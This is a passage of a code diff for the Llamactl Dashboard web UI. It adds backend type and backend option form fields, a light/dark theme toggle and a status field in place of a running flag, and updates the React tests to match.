       }
       vi.mocked(instancesApi.update).mockResolvedValue(updatedInstance)
 
@@ -123,7 +140,8 @@ describe('App Component - Critical Business Logic Only', () => {
       // Verify correct API call with existing instance data
       await waitFor(() => {
         expect(instancesApi.update).toHaveBeenCalledWith('test-instance-1', {
-          model: "model1.gguf", // Pre-filled from existing instance
+          backend_type: BackendType.LLAMA_CPP,
+          backend_options: { model: "model1.gguf" } // Pre-filled from existing instance
         })
       })
     })

webui/src/components/BackendFormField.tsx

@@ -0,0 +1,123 @@
+import React from 'react'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { Checkbox } from '@/components/ui/checkbox'
+import type { BackendOptions } from '@/schemas/instanceOptions'
+import { getBackendFieldType, basicBackendFieldsConfig } from '@/lib/zodFormUtils'
+
+interface BackendFormFieldProps {
+  fieldKey: keyof BackendOptions
+  value: string | number | boolean | string[] | undefined
+  onChange: (key: string, value: string | number | boolean | string[] | undefined) => void
+}
+
+const BackendFormField: React.FC<BackendFormFieldProps> = ({ fieldKey, value, onChange }) => {
+  // Get configuration for basic fields, or use field name for advanced fields
+  const config = basicBackendFieldsConfig[fieldKey as string] || { label: fieldKey }
+  
+  // Get type from Zod schema
+  const fieldType = getBackendFieldType(fieldKey)
+
+  const handleChange = (newValue: string | number | boolean | string[] | undefined) => {
+    onChange(fieldKey as string, newValue)
+  }
+
+  const renderField = () => {
+    switch (fieldType) {
+      case 'boolean':
+        return (
+          <div className="flex items-center space-x-2">
+            <Checkbox
+              id={fieldKey}
+              checked={typeof value === 'boolean' ? value : false}
+              onCheckedChange={(checked) => handleChange(checked)}
+            />
+            <Label htmlFor={fieldKey} className="text-sm font-normal">
+              {config.label}
+              {config.description && (
+                <span className="text-muted-foreground ml-1">- {config.description}</span>
+              )}
+            </Label>
+          </div>
+        )
+
+      case 'number':
+        return (
+          <div className="grid gap-2">
+            <Label htmlFor={fieldKey}>
+              {config.label}
+              {config.required && <span className="text-red-500 ml-1">*</span>}
+            </Label>
+            <Input
+              id={fieldKey}
+              type="number"
+              step="any" // This allows decimal numbers
+              value={typeof value === 'string' || typeof value === 'number' ? value : ''}
+              onChange={(e) => {
+                const numValue = e.target.value ? parseFloat(e.target.value) : undefined
+                // Only update if the parsed value is valid or the input is empty
+                if (e.target.value === '' || (numValue !== undefined && !isNaN(numValue))) {
+                  handleChange(numValue)
+                }
+              }}
+              placeholder={config.placeholder}
+            />
+            {config.description && (
+              <p className="text-sm text-muted-foreground">{config.description}</p>
+            )}
+          </div>
+        )
+
+      case 'array':
+        return (
+          <div className="grid gap-2">
+            <Label htmlFor={fieldKey}>
+              {config.label}
+              {config.required && <span className="text-red-500 ml-1">*</span>}
+            </Label>
+            <Input
+              id={fieldKey}
+              type="text"
+              value={Array.isArray(value) ? value.join(', ') : ''}
+              onChange={(e) => {
+                const arrayValue = e.target.value 
+                  ? e.target.value.split(',').map(s => s.trim()).filter(Boolean)
+                  : undefined
+                handleChange(arrayValue)
+              }}
+              placeholder="item1, item2, item3"
+            />
+            {config.description && (
+              <p className="text-sm text-muted-foreground">{config.description}</p>
+            )}
+            <p className="text-xs text-muted-foreground">Separate multiple values with commas</p>
+          </div>
+        )
+
+      case 'text':
+      default:
+        return (
+          <div className="grid gap-2">
+            <Label htmlFor={fieldKey}>
+              {config.label}
+              {config.required && <span className="text-red-500 ml-1">*</span>}
+            </Label>
+            <Input
+              id={fieldKey}
+              type="text"
+              value={typeof value === 'string' || typeof value === 'number' ? value : ''}
+              onChange={(e) => handleChange(e.target.value || undefined)}
+              placeholder={config.placeholder}
+            />
+            {config.description && (
+              <p className="text-sm text-muted-foreground">{config.description}</p>
+            )}
+          </div>
+        )
+    }
+  }
+
+  return <div className="space-y-2">{renderField()}</div>
+}
+
+export default BackendFormField

webui/src/components/Header.tsx

@@ -1,6 +1,7 @@
 import { Button } from "@/components/ui/button";
-import { HelpCircle, LogOut } from "lucide-react";
+import { HelpCircle, LogOut, Moon, Sun } from "lucide-react";
 import { useAuth } from "@/contexts/AuthContext";
+import { useTheme } from "@/contexts/ThemeContext";
 
 interface HeaderProps {
   onCreateInstance: () => void;
@@ -9,6 +10,7 @@ interface HeaderProps {
 
 function Header({ onCreateInstance, onShowSystemInfo }: HeaderProps) {
   const { logout } = useAuth();
+  const { theme, toggleTheme } = useTheme();
 
   const handleLogout = () => {
     if (confirm("Are you sure you want to logout?")) {
@@ -17,10 +19,10 @@ function Header({ onCreateInstance, onShowSystemInfo }: HeaderProps) {
   };
 
   return (
-    <header className="bg-white border-b border-gray-200">
+    <header className="bg-card border-b border-border">
       <div className="container mx-auto max-w-4xl px-4 py-4">
         <div className="flex items-center justify-between">
-          <h1 className="text-2xl font-bold text-gray-900">
+          <h1 className="text-2xl font-bold text-foreground">
             Llamactl Dashboard
           </h1>
 
@@ -29,6 +31,16 @@ function Header({ onCreateInstance, onShowSystemInfo }: HeaderProps) {
               Create Instance
             </Button>
 
+            <Button
+              variant="outline"
+              size="icon"
+              onClick={toggleTheme}
+              data-testid="theme-toggle-button"
+              title={`Switch to ${theme === 'light' ? 'dark' : 'light'} mode`}
+            >
+              {theme === 'light' ? <Moon className="h-4 w-4" /> : <Sun className="h-4 w-4" />}
+            </Button>
+
             <Button
               variant="outline"
               size="icon"

webui/src/components/HealthBadge.tsx

@@ -27,6 +27,8 @@ const HealthBadge: React.FC<HealthBadgeProps> = ({ health }) => {
         return <XCircle className="h-3 w-3" />;
       case "unknown":
         return <Loader2 className="h-3 w-3 animate-spin" />;
+      case "failed":
+        return <XCircle className="h-3 w-3" />;
     }
   };
 
@@ -40,6 +42,8 @@ const HealthBadge: React.FC<HealthBadgeProps> = ({ health }) => {
         return "destructive";
       case "unknown":
         return "secondary";
+      case "failed":
+        return "destructive";
     }
   };
 
@@ -53,6 +57,8 @@ const HealthBadge: React.FC<HealthBadgeProps> = ({ health }) => {
         return "Error";
       case "unknown":
         return "Unknown";
+      case "failed":
+        return "Failed";
     }
   };
 

webui/src/components/InstanceCard.tsx

@@ -24,7 +24,7 @@ function InstanceCard({
   editInstance,
 }: InstanceCardProps) {
   const [isLogsOpen, setIsLogsOpen] = useState(false);
-  const health = useInstanceHealth(instance.name, instance.running);
+  const health = useInstanceHealth(instance.name, instance.status);
 
   const handleStart = () => {
     startInstance(instance.name);
@@ -50,13 +50,15 @@ function InstanceCard({
     setIsLogsOpen(true);
   };
 
+  const running = instance.status === "running";
+
   return (
     <>
       <Card>
         <CardHeader className="pb-3">
           <div className="flex items-center justify-between">
             <CardTitle className="text-lg">{instance.name}</CardTitle>
-            {instance.running && <HealthBadge health={health} />}
+            {running && <HealthBadge health={health} />}
           </div>
         </CardHeader>
 
@@ -66,7 +68,7 @@ function InstanceCard({
               size="sm"
               variant="outline"
               onClick={handleStart}
-              disabled={instance.running}
+              disabled={running}
               title="Start instance"
               data-testid="start-instance-button"
             >
@@ -77,7 +79,7 @@ function InstanceCard({
               size="sm"
               variant="outline"
               onClick={handleStop}
-              disabled={!instance.running}
+              disabled={!running}
               title="Stop instance"
               data-testid="stop-instance-button"
             >
@@ -108,7 +110,7 @@ function InstanceCard({
               size="sm"
               variant="destructive"
               onClick={handleDelete}
-              disabled={instance.running}
+              disabled={running}
               title="Delete instance"
               data-testid="delete-instance-button"
             >
@@ -122,7 +124,7 @@ function InstanceCard({
         open={isLogsOpen}
         onOpenChange={setIsLogsOpen}
         instanceName={instance.name}
-        isRunning={instance.running}
+        isRunning={running}
       />
     </>
   );

webui/src/components/InstanceDialog.tsx

@@ -10,10 +10,11 @@ import {
   DialogHeader,
   DialogTitle,
 } from "@/components/ui/dialog";
-import type { CreateInstanceOptions, Instance } from "@/types/instance";
+import { BackendType, type CreateInstanceOptions, type Instance } from "@/types/instance";
-import { getBasicFields, getAdvancedFields } from "@/lib/zodFormUtils";
+import { getBasicFields, getAdvancedFields, getBasicBackendFields, getAdvancedBackendFields } from "@/lib/zodFormUtils";
 import { ChevronDown, ChevronRight } from "lucide-react";
 import ZodFormField from "@/components/ZodFormField";
+import BackendFormField from "@/components/BackendFormField";
 
 interface InstanceDialogProps {
   open: boolean;
@@ -29,7 +30,6 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
   instance,
 }) => {
   const isEditing = !!instance;
-  const isRunning = instance?.running || true; // Assume running if instance exists
 
   const [instanceName, setInstanceName] = useState("");
   const [formData, setFormData] = useState<CreateInstanceOptions>({});
@@ -39,6 +39,8 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
   // Get field lists dynamically from the type
   const basicFields = getBasicFields();
   const advancedFields = getAdvancedFields();
+  const basicBackendFields = getBasicBackendFields();
+  const advancedBackendFields = getAdvancedBackendFields();
 
   // Reset form when dialog opens/closes or when instance changes
   useEffect(() => {
@@ -52,6 +54,8 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
         setInstanceName("");
         setFormData({
           auto_restart: true, // Default value
+          backend_type: BackendType.LLAMA_CPP, // Default backend type
+          backend_options: {},
         });
       }
       setShowAdvanced(false); // Always start with basic view
@@ -66,6 +70,16 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
     }));
   };
 
+  const handleBackendFieldChange = (key: string, value: any) => {
+    setFormData((prev) => ({
+      ...prev,
+      backend_options: {
+        ...prev.backend_options,
+        [key]: value,
+      },
+    }));
+  };
+
   const handleNameChange = (name: string) => {
     setInstanceName(name);
     // Validate instance name
@@ -90,7 +104,24 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
     // Clean up undefined values to avoid sending empty fields
     const cleanOptions: CreateInstanceOptions = {};
     Object.entries(formData).forEach(([key, value]) => {
-      if (value !== undefined && value !== "" && value !== null) {
+      if (key === 'backend_options' && value && typeof value === 'object') {
+        // Handle backend_options specially - clean nested object
+        const cleanBackendOptions: any = {};
+        Object.entries(value).forEach(([backendKey, backendValue]) => {
+          if (backendValue !== undefined && backendValue !== null && (typeof backendValue !== 'string' || backendValue.trim() !== "")) {
+            // Handle arrays - don't include empty arrays
+            if (Array.isArray(backendValue) && backendValue.length === 0) {
+              return;
+            }
+            cleanBackendOptions[backendKey] = backendValue;
+          }
+        });
+        
+        // Only include backend_options if it has content
+        if (Object.keys(cleanBackendOptions).length > 0) {
+          (cleanOptions as any)[key] = cleanBackendOptions;
+        }
+      } else if (value !== undefined && value !== null && (typeof value !== 'string' || value.trim() !== "")) {
         // Handle arrays - don't include empty arrays
         if (Array.isArray(value) && value.length === 0) {
           return;
@@ -114,6 +145,16 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
   // Check if auto_restart is enabled
   const isAutoRestartEnabled = formData.auto_restart === true;
 
+  // Save button label logic
+  let saveButtonLabel = "Create Instance";
+  if (isEditing) {
+    if (instance?.status === "running") {
+      saveButtonLabel = "Update & Restart Instance";
+    } else {
+      saveButtonLabel = "Update Instance";
+    }
+  }
+
   return (
     <Dialog open={open} onOpenChange={onOpenChange}>
       <DialogContent className="sm:max-w-[600px] max-h-[80vh] overflow-hidden flex flex-col">
@@ -187,8 +228,9 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
                   (fieldKey) =>
                     fieldKey !== "auto_restart" &&
                     fieldKey !== "max_restarts" &&
-                    fieldKey !== "restart_delay"
+                    fieldKey !== "restart_delay" &&
-                ) // Exclude auto_restart, max_restarts, and restart_delay as they're handled above
+                    fieldKey !== "backend_options" // backend_options is handled separately
+                ) 
                 .map((fieldKey) => (
                   <ZodFormField
                     key={fieldKey}
@@ -199,6 +241,21 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
                 ))}
             </div>
 
+            {/* Backend Configuration Section */}
+            <div className="space-y-4">
+              <h3 className="text-lg font-medium">Backend Configuration</h3>
+              
+              {/* Basic backend fields */}
+              {basicBackendFields.map((fieldKey) => (
+                <BackendFormField
+                  key={fieldKey}
+                  fieldKey={fieldKey}
+                  value={formData.backend_options?.[fieldKey]}
+                  onChange={handleBackendFieldChange}
+                />
+              ))}
+            </div>
+
             {/* Advanced Fields Toggle */}
             <div className="border-t pt-4">
               <Button
@@ -217,8 +274,8 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
                   {
                     advancedFields.filter(
                       (f) =>
-                        !["max_restarts", "restart_delay"].includes(f as string)
+                        !["max_restarts", "restart_delay", "backend_options"].includes(f as string)
-                    ).length
+                    ).length + advancedBackendFields.length
                   }{" "}
                   options)
                 </span>
@@ -228,24 +285,51 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
             {/* Advanced Fields - Automatically generated from type (excluding restart options) */}
             {showAdvanced && (
               <div className="space-y-4 pl-6 border-l-2 border-muted">
-                <div className="space-y-4">
+                {/* Advanced instance fields */}
                 {advancedFields
                   .filter(
                     (fieldKey) =>
-                        !["max_restarts", "restart_delay"].includes(
+                      !["max_restarts", "restart_delay", "backend_options"].includes(
                         fieldKey as string
                       )
-                    ) // Exclude restart options as they're handled above
+                  ).length > 0 && (
+                  <div className="space-y-4">
+                    <h4 className="text-md font-medium">Advanced Instance Configuration</h4>
+                    {advancedFields
+                      .filter(
+                        (fieldKey) =>
+                          !["max_restarts", "restart_delay", "backend_options"].includes(
+                            fieldKey as string
+                          )
+                      )
                       .sort()
                       .map((fieldKey) => (
                         <ZodFormField
                           key={fieldKey}
                           fieldKey={fieldKey}
-                        value={formData[fieldKey]}
+                          value={fieldKey === 'backend_options' ? undefined : formData[fieldKey]}
                           onChange={handleFieldChange}
                         />
                       ))}
                   </div>
+                )}
+
+                {/* Advanced backend fields */}
+                {advancedBackendFields.length > 0 && (
+                  <div className="space-y-4">
+                    <h4 className="text-md font-medium">Advanced Backend Configuration</h4>
+                    {advancedBackendFields
+                      .sort()
+                      .map((fieldKey) => (
+                        <BackendFormField
+                          key={fieldKey}
+                          fieldKey={fieldKey}
+                          value={formData.backend_options?.[fieldKey]}
+                          onChange={handleBackendFieldChange}
+                        />
+                      ))}
+                  </div>
+                )}
               </div>
             )}
           </div>
@@ -264,11 +348,7 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
             disabled={!instanceName.trim() || !!nameError}
             data-testid="dialog-save-button"
           >
-            {isEditing
+            {saveButtonLabel}
-              ? isRunning
-                ? "Update & Restart Instance"
-                : "Update Instance"
-              : "Create Instance"}
           </Button>
         </DialogFooter>
       </DialogContent>

webui/src/components/InstanceList.tsx

@@ -18,8 +18,8 @@ function InstanceList({ editInstance }: InstanceListProps) {
     return (
       <div className="flex items-center justify-center py-12" aria-label="Loading">
         <div className="text-center">
-          <div className="animate-spin rounded-full h-8 w-8 border-b-2 border-blue-600 mx-auto mb-4"></div>
+          <div className="animate-spin rounded-full h-8 w-8 border-b-2 border-primary mx-auto mb-4"></div>
-          <p className="text-gray-600">Loading instances...</p>
+          <p className="text-muted-foreground">Loading instances...</p>
         </div>
       </div>
     )
@@ -28,7 +28,7 @@ function InstanceList({ editInstance }: InstanceListProps) {
   if (error) {
     return (
       <div className="text-center py-12">
-        <div className="text-red-600 mb-4">
+        <div className="text-destructive mb-4">
           <p className="text-lg font-semibold">Error loading instances</p>
           <p className="text-sm">{error}</p>
         </div>
@@ -39,15 +39,15 @@ function InstanceList({ editInstance }: InstanceListProps) {
   if (instances.length === 0) {
     return (
       <div className="text-center py-12">
-        <p className="text-gray-600 text-lg mb-2">No instances found</p>
+        <p className="text-foreground text-lg mb-2">No instances found</p>
-        <p className="text-gray-500 text-sm">Create your first instance to get started</p>
+        <p className="text-muted-foreground text-sm">Create your first instance to get started</p>
       </div>
     )
   }
 
   return (
     <div className="space-y-4">
-      <h2 className="text-xl font-semibold text-gray-900 mb-6">
+      <h2 className="text-xl font-semibold text-foreground mb-6">
         Instances ({instances.length})
       </h2>
       

webui/src/components/SystemInfoDialog.tsx

@@ -19,6 +19,15 @@ import {
 } from 'lucide-react'
 import { serverApi } from '@/lib/api'
 
+// Helper to get version from environment
+const getAppVersion = (): string => {
+  try {
+    return (import.meta.env as Record<string, string>).VITE_APP_VERSION || 'unknown'
+  } catch {
+    return 'unknown'
+  }
+}
+
 interface SystemInfoModalProps {
   open: boolean
   onOpenChange: (open: boolean) => void
@@ -109,9 +118,20 @@ const SystemInfoDialog: React.FC<SystemInfoModalProps> = ({
             </div>
           ) : systemInfo ? (
             <div className="space-y-6">
-              {/* Version Section */}
+              {/* Llamactl Version Section */}
               <div className="space-y-3">
-                <h3 className="font-semibold">Version</h3>
+                <h3 className="font-semibold">Llamactl Version</h3>
+                
+                <div className="bg-gray-900 rounded-lg p-4">
+                  <pre className="text-sm text-gray-300 whitespace-pre-wrap font-mono">
+                    {getAppVersion()}
+                  </pre>
+                </div>
+              </div>
+
+              {/* Llama Server Version Section */}
+              <div className="space-y-3">
+                <h3 className="font-semibold">Llama Server Version</h3>
                 
                 <div className="bg-gray-900 rounded-lg p-4">
                   <div className="mb-2">

webui/src/components/ZodFormField.tsx

@@ -3,6 +3,7 @@ import { Input } from '@/components/ui/input'
 import { Label } from '@/components/ui/label'
 import { Checkbox } from '@/components/ui/checkbox'
 import type { CreateInstanceOptions } from '@/types/instance'
+import { BackendType } from '@/types/instance'
 import { getFieldType, basicFieldsConfig } from '@/lib/zodFormUtils'
 
 interface ZodFormFieldProps {
@@ -23,6 +24,30 @@ const ZodFormField: React.FC<ZodFormFieldProps> = ({ fieldKey, value, onChange }
   }
 
   const renderField = () => {
+    // Special handling for backend_type field - render as dropdown
+    if (fieldKey === 'backend_type') {
+      return (
+        <div className="grid gap-2">
+          <Label htmlFor={fieldKey}>
+            {config.label}
+            {config.required && <span className="text-red-500 ml-1">*</span>}
+          </Label>
+          <select
+            id={fieldKey}
+            value={typeof value === 'string' ? value : BackendType.LLAMA_CPP}
+            onChange={(e) => handleChange(e.target.value || undefined)}
+            className="flex h-10 w-full rounded-md border border-input bg-background px-3 py-2 text-sm ring-offset-background file:border-0 file:bg-transparent file:text-sm file:font-medium placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50"
+          >
+            <option value={BackendType.LLAMA_CPP}>Llama Server</option>
+            {/* Add more backend types here as they become available */}
+          </select>
+          {config.description && (
+            <p className="text-sm text-muted-foreground">{config.description}</p>
+          )}
+        </div>
+      )
+    }
+
     switch (fieldType) {
       case 'boolean':
         return (

webui/src/components/__tests__/InstanceCard.test.tsx

@@ -3,6 +3,7 @@ import { render, screen } from '@testing-library/react'
 import userEvent from '@testing-library/user-event'
 import InstanceCard from '@/components/InstanceCard'
 import type { Instance } from '@/types/instance'
+import { BackendType } from '@/types/instance'
 
 // Mock the health hook since we're not testing health logic here
 vi.mock('@/hooks/useInstanceHealth', () => ({
@@ -17,14 +18,14 @@ describe('InstanceCard - Instance Actions and State', () => {
 
   const stoppedInstance: Instance = {
     name: 'test-instance',
-    running: false,
+    status: 'stopped',
-    options: { model: 'test-model.gguf' }
+    options: { backend_type: BackendType.LLAMA_CPP, backend_options: { model: 'test-model.gguf' } }
   }
 
   const runningInstance: Instance = {
     name: 'running-instance',
-    running: true,
+    status: 'running',
-    options: { model: 'running-model.gguf' }
+    options: { backend_type: BackendType.LLAMA_CPP, backend_options: { model: 'running-model.gguf' } }
   }
 
 beforeEach(() => {
@@ -301,7 +302,7 @@ afterEach(() => {
     it('handles instance with minimal data', () => {
       const minimalInstance: Instance = {
         name: 'minimal',
-        running: false,
+        status: 'stopped',
         options: {}
       }
 
@@ -323,7 +324,7 @@ afterEach(() => {
     it('handles instance with undefined options', () => {
       const instanceWithoutOptions: Instance = {
         name: 'no-options',
-        running: true,
+        status: 'running',
         options: undefined
       }
 

webui/src/components/__tests__/InstanceList.test.tsx

@@ -5,6 +5,7 @@ import InstanceList from '@/components/InstanceList'
 import { InstancesProvider } from '@/contexts/InstancesContext'
 import { instancesApi } from '@/lib/api'
 import type { Instance } from '@/types/instance'
+import { BackendType } from '@/types/instance'
 import { AuthProvider } from '@/contexts/AuthContext'
 
 // Mock the API
@@ -44,9 +45,9 @@ describe('InstanceList - State Management and UI Logic', () => {
   const mockEditInstance = vi.fn()
 
   const mockInstances: Instance[] = [
-    { name: 'instance-1', running: false, options: { model: 'model1.gguf' } },
+    { name: 'instance-1', status: 'stopped', options: { backend_type: BackendType.LLAMA_CPP, backend_options: { model: 'model1.gguf' } } },
-    { name: 'instance-2', running: true, options: { model: 'model2.gguf' } },
+    { name: 'instance-2', status: 'running', options: { backend_type: BackendType.LLAMA_CPP, backend_options: { model: 'model2.gguf' } } },
-    { name: 'instance-3', running: false, options: { model: 'model3.gguf' } }
+    { name: 'instance-3', status: 'stopped', options: { backend_type: BackendType.LLAMA_CPP, backend_options: { model: 'model3.gguf' } } }
   ]
 
   const DUMMY_API_KEY = 'test-api-key-123'

webui/src/components/__tests__/InstanceModal.test.tsx

@@ -3,6 +3,7 @@ import { render, screen, waitFor } from '@testing-library/react'
 import userEvent from '@testing-library/user-event'
 import InstanceDialog from '@/components/InstanceDialog'
 import type { Instance } from '@/types/instance'
+import { BackendType } from '@/types/instance'
 
 describe('InstanceModal - Form Logic and Validation', () => {
   const mockOnSave = vi.fn()
@@ -91,6 +92,7 @@ afterEach(() => {
 
       expect(mockOnSave).toHaveBeenCalledWith('my-instance', {
         auto_restart: true, // Default value
+        backend_type: BackendType.LLAMA_CPP
       })
     })
 
@@ -134,10 +136,10 @@ afterEach(() => {
   describe('Edit Mode', () => {
     const mockInstance: Instance = {
       name: 'existing-instance',
-      running: false,
+      status: 'stopped',
       options: {
-        model: 'test-model.gguf',
+        backend_type: BackendType.LLAMA_CPP,
-        gpu_layers: 10,
+        backend_options: { model: 'test-model.gguf', gpu_layers: 10 },
         auto_restart: false
       }
     }
@@ -177,14 +179,14 @@ afterEach(() => {
       await user.click(screen.getByTestId('dialog-save-button'))
 
       expect(mockOnSave).toHaveBeenCalledWith('existing-instance', {
-        model: 'test-model.gguf',
+        backend_type: BackendType.LLAMA_CPP,
-        gpu_layers: 10,
+        backend_options: { model: 'test-model.gguf', gpu_layers: 10 },
         auto_restart: false
       })
     })
 
     it('shows correct button text for running vs stopped instances', () => {
-      const runningInstance: Instance = { ...mockInstance, running: true }
+      const runningInstance: Instance = { ...mockInstance, status: 'running' }
 
       const { rerender } = render(
         <InstanceDialog
@@ -271,6 +273,7 @@ afterEach(() => {
 
       expect(mockOnSave).toHaveBeenCalledWith('test-instance', {
         auto_restart: true,
+        backend_type: BackendType.LLAMA_CPP,
         max_restarts: 5,
         restart_delay: 10
       })
@@ -321,6 +324,7 @@ afterEach(() => {
       // Should only include non-empty values
       expect(mockOnSave).toHaveBeenCalledWith('clean-instance', {
         auto_restart: true, // Only this default value should be included
+        backend_type: BackendType.LLAMA_CPP
       })
     })
 
@@ -345,7 +349,8 @@ afterEach(() => {
 
       expect(mockOnSave).toHaveBeenCalledWith('numeric-test', {
         auto_restart: true,
-        gpu_layers: 15, // Should be number, not string
+        backend_type: BackendType.LLAMA_CPP,
+        backend_options: { gpu_layers: 15 }, // Should be number, not string
       })
     })
   })

webui/src/contexts/InstancesContext.tsx

@@ -113,8 +113,8 @@ export const InstancesProvider = ({ children }: InstancesProviderProps) => {
       setError(null)
       await instancesApi.start(name)
 
-      // Update only this instance's running status
+      // Update only this instance's status
-      updateInstanceInMap(name, { running: true })
+      updateInstanceInMap(name, { status: "running" })
     } catch (err) {
       setError(err instanceof Error ? err.message : 'Failed to start instance')
     }
@@ -125,8 +125,8 @@ export const InstancesProvider = ({ children }: InstancesProviderProps) => {
       setError(null)
       await instancesApi.stop(name)
 
-      // Update only this instance's running status
+      // Update only this instance's status
-      updateInstanceInMap(name, { running: false })
+      updateInstanceInMap(name, { status: "stopped" })
     } catch (err) {
       setError(err instanceof Error ? err.message : 'Failed to stop instance')
     }
@@ -137,8 +137,8 @@ export const InstancesProvider = ({ children }: InstancesProviderProps) => {
       setError(null)
       await instancesApi.restart(name)
 
-      // Update only this instance's running status
+      // Update only this instance's status
-      updateInstanceInMap(name, { running: true })
+      updateInstanceInMap(name, { status: "running" })
     } catch (err) {
       setError(err instanceof Error ? err.message : 'Failed to restart instance')
     }

webui/src/contexts/ThemeContext.tsx

@@ -0,0 +1,54 @@
+import { createContext, useContext, useEffect, useState, type ReactNode } from "react";
+
+type Theme = "light" | "dark";
+
+interface ThemeContextType {
+  theme: Theme;
+  toggleTheme: () => void;
+}
+
+const ThemeContext = createContext<ThemeContextType | undefined>(undefined);
+
+interface ThemeProviderProps {
+  children: ReactNode;
+}
+
+export function ThemeProvider({ children }: ThemeProviderProps) {
+  const [theme, setTheme] = useState<Theme>(() => {
+    const stored = localStorage.getItem("theme");
+    if (stored === "light" || stored === "dark") {
+      return stored;
+    }
+    return window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light";
+  });
+
+  useEffect(() => {
+    const root = document.documentElement;
+    
+    if (theme === "dark") {
+      root.classList.add("dark");
+    } else {
+      root.classList.remove("dark");
+    }
+    
+    localStorage.setItem("theme", theme);
+  }, [theme]);
+
+  const toggleTheme = () => {
+    setTheme(prevTheme => prevTheme === "light" ? "dark" : "light");
+  };
+
+  return (
+    <ThemeContext.Provider value={{ theme, toggleTheme }}>
+      {children}
+    </ThemeContext.Provider>
+  );
+}
+
+export function useTheme() {
+  const context = useContext(ThemeContext);
+  if (context === undefined) {
+    throw new Error("useTheme must be used within a ThemeProvider");
+  }
+  return context;
+}

webui/src/contexts/__tests__/InstancesContext.test.tsx

@@ -4,6 +4,7 @@ import type { ReactNode } from "react";
 import { InstancesProvider, useInstances } from "@/contexts/InstancesContext";
 import { instancesApi } from "@/lib/api";
 import type { Instance } from "@/types/instance";
+import { BackendType } from "@/types/instance";
 import { AuthProvider } from "../AuthContext";
 
 // Mock the API module
@@ -41,19 +42,19 @@ function TestComponent() {
       <div data-testid="instances-count">{instances.length}</div>
       {instances.map((instance) => (
         <div key={instance.name} data-testid={`instance-${instance.name}`}>
-          {instance.name}:{instance.running.toString()}
+          {instance.name}:{instance.status}
         </div>
       ))}
 
       {/* Action buttons for testing with specific instances */}
       <button
-        onClick={() => createInstance("new-instance", { model: "test.gguf" })}
+        onClick={() => createInstance("new-instance", { backend_type: BackendType.LLAMA_CPP, backend_options: { model: "test.gguf" } })}
         data-testid="create-instance"
       >
         Create Instance
       </button>
       <button
-        onClick={() => updateInstance("instance1", { model: "updated.gguf" })}
+        onClick={() => updateInstance("instance1", { backend_type: BackendType.LLAMA_CPP, backend_options: { model: "updated.gguf" } })}
         data-testid="update-instance"
       >
         Update Instance
@@ -99,8 +100,8 @@ function renderWithProvider(children: ReactNode) {
 
 describe("InstancesContext", () => {
   const mockInstances: Instance[] = [
-    { name: "instance1", running: true, options: { model: "model1.gguf" } },
+    { name: "instance1", status: "running", options: { backend_type: BackendType.LLAMA_CPP, backend_options: { model: "model1.gguf" } } },
-    { name: "instance2", running: false, options: { model: "model2.gguf" } },
+    { name: "instance2", status: "stopped", options: { backend_type: BackendType.LLAMA_CPP, backend_options: { model: "model2.gguf" } } },
   ];
 
   beforeEach(() => {
@@ -132,10 +133,10 @@ describe("InstancesContext", () => {
         expect(screen.getByTestId("loading")).toHaveTextContent("false");
         expect(screen.getByTestId("instances-count")).toHaveTextContent("2");
         expect(screen.getByTestId("instance-instance1")).toHaveTextContent(
-          "instance1:true"
+          "instance1:running"
         );
         expect(screen.getByTestId("instance-instance2")).toHaveTextContent(
-          "instance2:false"
+          "instance2:stopped"
         );
       });
     });
@@ -158,8 +159,8 @@ describe("InstancesContext", () => {
     it("creates instance and adds it to state", async () => {
       const newInstance: Instance = {
         name: "new-instance",
-        running: false,
+        status: "stopped",
-        options: { model: "test.gguf" },
+        options: { backend_type: BackendType.LLAMA_CPP, backend_options: { model: "test.gguf" } },
       };
       vi.mocked(instancesApi.create).mockResolvedValue(newInstance);
 
@@ -174,14 +175,15 @@ describe("InstancesContext", () => {
 
       await waitFor(() => {
         expect(instancesApi.create).toHaveBeenCalledWith("new-instance", {
-          model: "test.gguf",
+          backend_type: BackendType.LLAMA_CPP,
+          backend_options: { model: "test.gguf" }
         });
       });
 
       await waitFor(() => {
         expect(screen.getByTestId("instances-count")).toHaveTextContent("3");
         expect(screen.getByTestId("instance-new-instance")).toHaveTextContent(
-          "new-instance:false"
+          "new-instance:stopped"
         );
       });
     });
@@ -214,8 +216,8 @@ describe("InstancesContext", () => {
     it("updates instance and maintains it in state", async () => {
       const updatedInstance: Instance = {
         name: "instance1",
-        running: true,
+        status: "running",
-        options: { model: "updated.gguf" },
+        options: { backend_type: BackendType.LLAMA_CPP, backend_options: { model: "updated.gguf" } },
       };
       vi.mocked(instancesApi.update).mockResolvedValue(updatedInstance);
 
@@ -230,7 +232,8 @@ describe("InstancesContext", () => {
 
       await waitFor(() => {
         expect(instancesApi.update).toHaveBeenCalledWith("instance1", {
-          model: "updated.gguf",
+          backend_type: BackendType.LLAMA_CPP,
+          backend_options: { model: "updated.gguf" }
         });
       });
 
@@ -251,7 +254,7 @@ describe("InstancesContext", () => {
         expect(screen.getByTestId("loading")).toHaveTextContent("false");
         // instance2 starts as not running
         expect(screen.getByTestId("instance-instance2")).toHaveTextContent(
-          "instance2:false"
+          "instance2:stopped"
         );
       });
 
@@ -262,7 +265,7 @@ describe("InstancesContext", () => {
         expect(instancesApi.start).toHaveBeenCalledWith("instance2");
         // The running state should be updated to true
         expect(screen.getByTestId("instance-instance2")).toHaveTextContent(
-          "instance2:true"
+          "instance2:running"
         );
       });
     });
@@ -276,7 +279,7 @@ describe("InstancesContext", () => {
         expect(screen.getByTestId("loading")).toHaveTextContent("false");
         // instance1 starts as running
         expect(screen.getByTestId("instance-instance1")).toHaveTextContent(
-          "instance1:true"
+          "instance1:running"
         );
       });
 
